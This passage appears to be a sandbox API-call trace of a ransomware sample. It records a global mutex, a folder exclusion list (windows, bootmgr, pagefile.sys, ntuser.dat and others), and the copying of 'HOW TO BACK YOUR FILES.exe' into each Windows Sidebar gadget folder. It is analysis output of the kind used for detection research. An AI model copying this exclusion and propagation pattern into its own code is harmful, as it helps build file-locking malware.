out: hHeap=0x4f0000) returned 1 [0092.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0092.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.196] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 0 [0092.196] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.196] ReleaseMutex (hMutex=0xec) returned 1 [0092.197] CloseHandle (hObject=0xec) returned 1 [0092.197] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets") returned="C:\\Program Files\\Windows Sidebar\\Gadgets" [0092.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5292b0 | out: hHeap=0x4f0000) returned 1 [0092.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c458 | out: hHeap=0x4f0000) returned 1 [0092.197] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets") returned 40 [0092.197] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\27DFB21AE17DBA114DC47156F47E4EF5") returned 0xec [0092.197] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.197] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets") returned="C:\\Program Files\\Windows Sidebar\\Gadgets" [0092.197] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.197] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.197] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.198] GetLastError () returned 0x0 [0092.198] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0092.198] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.199] CloseHandle (hObject=0xf4) returned 1 [0092.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0092.199] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.199] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc08fb9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc08fb9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.199] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.199] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.199] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.199] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc08fb9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc08fb9c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.199] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.199] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.199] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.199] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.199] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="CALEND~1.GAD")) returned 1 [0092.199] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.199] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.199] lstrcmpiW (lpString1="Calendar.Gadget", lpString2=".") returned 1 [0092.199] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="..") returned 1 [0092.199] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="windows") returned -1 [0092.199] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="bootmgr") returned 1 [0092.199] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="temp") returned -1 [0092.199] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="pagefile.sys") returned -1 [0092.199] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="boot") returned 1 [0092.199] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="ids.txt") returned -1 [0092.200] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="ntuser.dat") returned -1 [0092.200] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="perflogs") returned -1 [0092.200] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="MSBuild") returned -1 [0092.200] lstrlenW (lpString="Calendar.Gadget") returned 15 [0092.200] lstrcpyW (in: lpString1=0x241e89a, lpString2="Calendar.Gadget" | out: lpString1="Calendar.Gadget") returned="Calendar.Gadget" [0092.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c458 [0092.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501ba8 [0092.200] lstrcatW (in: lpString1="Calendar.Gadget", lpString2="\\" | out: lpString1="Calendar.Gadget\\") returned="Calendar.Gadget\\" [0092.200] lstrcatW (in: lpString1="Calendar.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Calendar.Gadget\\HOW TO BACK YOUR FILES.exe") returned="Calendar.Gadget\\HOW TO BACK YOUR FILES.exe" [0092.200] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.204] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2=".") returned 1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="..") returned 1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="windows") returned -1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="bootmgr") returned 1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="temp") returned -1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="pagefile.sys") returned -1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="boot") returned 1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="ids.txt") returned -1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="ntuser.dat") returned -1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="perflogs") returned -1 [0092.204] lstrcmpiW (lpString1="Clock.Gadget", lpString2="MSBuild") returned -1 [0092.204] lstrlenW (lpString="Clock.Gadget") returned 12 [0092.204] lstrcpyW (in: lpString1=0x241e89a, lpString2="Clock.Gadget" | out: lpString1="Clock.Gadget") returned="Clock.Gadget" [0092.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c470 [0092.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52d2a0 [0092.204] lstrcatW (in: lpString1="Clock.Gadget", lpString2="\\" | out: lpString1="Clock.Gadget\\") returned="Clock.Gadget\\" [0092.204] lstrcatW (in: lpString1="Clock.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Clock.Gadget\\HOW TO BACK YOUR FILES.exe") returned="Clock.Gadget\\HOW TO BACK YOUR FILES.exe" [0092.204] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.209] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="CPU~1.GAD")) returned 1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2=".") returned 1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="..") returned 1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="windows") returned -1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="bootmgr") returned 1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="temp") returned -1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="pagefile.sys") returned -1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="boot") returned 1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="ids.txt") returned -1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="ntuser.dat") returned -1 [0092.209] lstrcmpiW (lpString1="CPU.Gadget", lpString2="perflogs") returned -1 [0092.210] lstrcmpiW (lpString1="CPU.Gadget", lpString2="MSBuild") returned -1 [0092.210] lstrlenW (lpString="CPU.Gadget") returned 10 [0092.210] lstrcpyW (in: lpString1=0x241e89a, lpString2="CPU.Gadget" | out: lpString1="CPU.Gadget") returned="CPU.Gadget" [0092.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c440 [0092.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x53a650 [0092.210] lstrcatW (in: lpString1="CPU.Gadget", lpString2="\\" | out: lpString1="CPU.Gadget\\") returned="CPU.Gadget\\" [0092.210] lstrcatW (in: lpString1="CPU.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CPU.Gadget\\HOW TO BACK YOUR FILES.exe") returned="CPU.Gadget\\HOW TO BACK YOUR FILES.exe" [0092.210] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.213] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="CURREN~1.GAD")) returned 1 [0092.213] lstrcmpiW (lpString1="Currency.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.213] lstrcmpiW (lpString1="Currency.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2=".") returned 1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2="..") returned 1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2="windows") returned -1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2="bootmgr") returned 1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2="temp") returned -1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2="pagefile.sys") returned -1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2="boot") returned 1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2="ids.txt") returned -1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2="ntuser.dat") returned -1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2="perflogs") returned -1 [0092.214] lstrcmpiW (lpString1="Currency.Gadget", lpString2="MSBuild") returned -1 [0092.214] lstrlenW (lpString="Currency.Gadget") returned 15 [0092.214] lstrcpyW (in: lpString1=0x241e89a, lpString2="Currency.Gadget" | out: lpString1="Currency.Gadget") returned="Currency.Gadget" [0092.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c410 [0092.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502ca8 [0092.214] lstrcatW (in: lpString1="Currency.Gadget", lpString2="\\" | out: lpString1="Currency.Gadget\\") returned="Currency.Gadget\\" [0092.214] lstrcatW (in: lpString1="Currency.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Currency.Gadget\\HOW TO BACK YOUR FILES.exe") returned="Currency.Gadget\\HOW TO BACK YOUR FILES.exe" [0092.214] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.218] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc08fb9c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc08fb9c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.218] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.218] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8df54c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MediaCenter.Gadget", cAlternateFileName="MEDIAC~1.GAD")) returned 1 [0092.218] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.218] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.218] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2=".") returned 1 [0092.219] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="..") returned 1 [0092.219] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="windows") returned -1 [0092.219] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="bootmgr") returned 1 [0092.219] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="temp") returned -1 [0092.219] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="pagefile.sys") returned -1 [0092.219] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="boot") returned 1 [0092.219] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="ids.txt") returned 1 [0092.219] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="ntuser.dat") returned -1 [0092.219] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="perflogs") returned -1 [0092.219] lstrcmpiW (lpString1="MediaCenter.Gadget", lpString2="MSBuild") returned -1 [0092.219] lstrlenW (lpString="MediaCenter.Gadget") returned 18 [0092.219] lstrcpyW (in: lpString1=0x241e89a, lpString2="MediaCenter.Gadget" | out: lpString1="MediaCenter.Gadget") returned="MediaCenter.Gadget" [0092.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3f8 [0092.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x502d28 [0092.219] lstrcatW (in: lpString1="MediaCenter.Gadget", lpString2="\\" | out: lpString1="MediaCenter.Gadget\\") returned="MediaCenter.Gadget\\" [0092.219] lstrcatW (in: lpString1="MediaCenter.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MediaCenter.Gadget\\HOW TO BACK YOUR FILES.exe") returned="MediaCenter.Gadget\\HOW TO BACK YOUR FILES.exe" [0092.219] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.223] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="PICTUR~1.GAD")) returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2=".") returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="..") returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="windows") returned -1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="bootmgr") returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="temp") returned -1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="pagefile.sys") returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="boot") returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="ids.txt") returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="ntuser.dat") returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="perflogs") returned 1 [0092.223] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="MSBuild") returned 1 [0092.223] lstrlenW (lpString="PicturePuzzle.Gadget") returned 20 [0092.223] lstrcpyW (in: lpString1=0x241e89a, lpString2="PicturePuzzle.Gadget" | out: lpString1="PicturePuzzle.Gadget") returned="PicturePuzzle.Gadget" [0092.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3b0 [0092.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x518f80 [0092.224] lstrcatW (in: lpString1="PicturePuzzle.Gadget", lpString2="\\" | out: lpString1="PicturePuzzle.Gadget\\") returned="PicturePuzzle.Gadget\\" [0092.224] lstrcatW (in: lpString1="PicturePuzzle.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PicturePuzzle.Gadget\\HOW TO BACK YOUR FILES.exe") returned="PicturePuzzle.Gadget\\HOW TO BACK YOUR FILES.exe" [0092.224] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.228] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="RSSFEE~1.GAD")) returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2=".") returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="..") returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="windows") returned -1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="bootmgr") returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="temp") returned -1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="pagefile.sys") returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="boot") returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="ids.txt") returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="ntuser.dat") returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="perflogs") returned 1 [0092.228] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="MSBuild") returned 1 [0092.228] lstrlenW (lpString="RSSFeeds.Gadget") returned 15 [0092.228] lstrcpyW (in: lpString1=0x241e89a, lpString2="RSSFeeds.Gadget" | out: lpString1="RSSFeeds.Gadget") returned="RSSFeeds.Gadget" [0092.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3e0 [0092.228] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502da8 [0092.228] lstrcatW (in: lpString1="RSSFeeds.Gadget", lpString2="\\" | out: lpString1="RSSFeeds.Gadget\\") returned="RSSFeeds.Gadget\\" [0092.228] lstrcatW (in: lpString1="RSSFeeds.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RSSFeeds.Gadget\\HOW TO BACK YOUR FILES.exe") returned="RSSFeeds.Gadget\\HOW TO BACK YOUR FILES.exe" [0092.228] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.233] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="SLIDES~1.GAD")) returned 1 [0092.233] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.233] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.233] lstrcmpiW 